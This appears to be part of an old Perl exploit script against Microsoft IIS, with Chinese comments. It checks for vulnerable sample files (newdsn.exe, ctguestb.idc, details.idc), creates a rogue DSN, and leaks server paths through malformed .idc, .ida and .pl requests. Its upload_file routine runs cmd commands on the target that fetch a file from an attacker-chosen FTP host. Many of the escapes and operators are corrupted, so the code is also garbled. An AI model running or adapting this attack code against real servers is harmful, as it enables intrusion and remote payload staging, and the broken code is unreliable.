########################
# 通过ftp -s下载文件 #
########################
sub upload_file {
my ($foobar) = @_;
$foobar =~ /(S+):(S+)/;
print("* Uploading ftp script...n");
&exec_cmd("cmd /c echo anonymous> C:\hello.txt");
&exec_cmd("cmd /c echo SkRiPtKiD@gerrie.is.mediageil.nl>> C:\hello.txt");
&exec_cmd("cmd /c echo get $2>> C:\hello.txt");
&exec_cmd("cmd /c ftp -s:C:\hello.txt $1");
print("* Fetching file - it can be found in: C:\WINNT\SYSTEM32\$2n");
}
##################################################
# 初始化新的 DSN 通过 GETting文件 ctguestb.idc #
##################################################
sub init_gb {
my @results=sendraw("GET /scripts/samples/ctguestb.idc HTTP/1.0nn");
return 0;
}
#################################################################
# Checks ifhttp://somehost.net/scripts/tools/newdsn.exeexists #
#################################################################
sub check_newdsn {
my @results=sendraw("GET /scripts/tools/newdsn.exe HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#;
return 1 if $2 eq "200";
return 0;
}
#####################################################################
# .idc's are funny...return codes are: #
# 200 OK if they exist and DSN is made #
# 500 Error performing query if they exist and DSN is NOT made #
# 200 Error performing query if they don't exist #
# Information provided by RFP's whisker #
#####################################################################
# 检测是否http://攻击主机/scripts/samples/ctguestb.idc文件存在 #
#####################################################################
sub check_ctguestb {
my @results=sendraw("GET /scripts/samples/ctguestb.idc HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) (S+) ([^nr]*)#;
if ($2 eq "500" // ($2 eq "200" && $3 eq "OK")) { return 1; }
return 0;
}
####################################################################
# 检测是否http://攻击主机/scripts/samples/details.idc 文件存在 #
####################################################################
sub check_details {
my @results=sendraw("GET /scripts/samples/details.idc HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^rn]*)#;
if ($2 eq "500" // ($2 eq "200" && $3 eq "OK")) { return 1; }
return 0;
}
######################################################################
# 检测 newdsn.exe, ctguestb.idc 和 details.idc 是否存在 #
######################################################################
sub check_cgis {
print("tChecking for: newdsn.exet-- ");
if(&check_newdsn == 0) { print("Not Found :(n"); exit; }
else { print("Found :)n"); }
print("tChecking for: ctguestb.idct-- ");
if(&check_ctguestb == 0) { print("Not Found :(n"); exit; }
else { print("Found :)n"); }
print("tChecking for: details.idct-- ");
if(&check_details == 0) { print("Not Found :(n"); exit; }
else { print("Found :)n"); }
}
#########################################
# 建立一个新的DSN,并且以"Web SQL"命名 #
#########################################
sub make_dsn {
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft%2B" .
"Access%2BDriver%2B%28*.mdb%29&dsn=Web%20SQL&dbq=" .
"C%3A%5Cfoobar.mdb&newdb=CREATE_DB&attr= HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#;
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful</H2>/;}}
return 0;}
######################################
# 用 .idc 溢出得到系统绝对路径 #
######################################
sub idc_bug {
my @results=sendraw("GET /blaat.idc HTTP/1.0nn");
@results=grep(/[A-Z]:\S*/, @results);
$results[0] =~ /([A-Z]:\S*)blaat.idc/;
return $1;
}
######################################
# 用 .ida 溢出得到系统绝对路径 #
######################################
sub ida_bug {
my @results=sendraw("GET /blaat.ida HTTP/1.0nn");
@results=grep(/([A-Z]:\S*)/, @results);
$results[0] =~ /([A-Z]:\S*)blaat.ida/;
return $1;
}
#####################################
# 用 .pl 溢出得到系统绝对路径 #
#####################################
sub pl_bug {
my @results=sendraw("GET /blaat.pl HTTP/1.0nn");
@results=grep(/[A-Z]:\/,@results);
$results[0] =~ /([A-Z]:\S*)blaat.pl/;
return $1;
}
######################################################
# 发送一个请求通过TCP协议的80端口到目标主机 #
######################################################
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')//0) //
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
my @in;
select(S); $/=1; print $pstr;
while(<S>){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...n"); }
}
------------
Net_double_C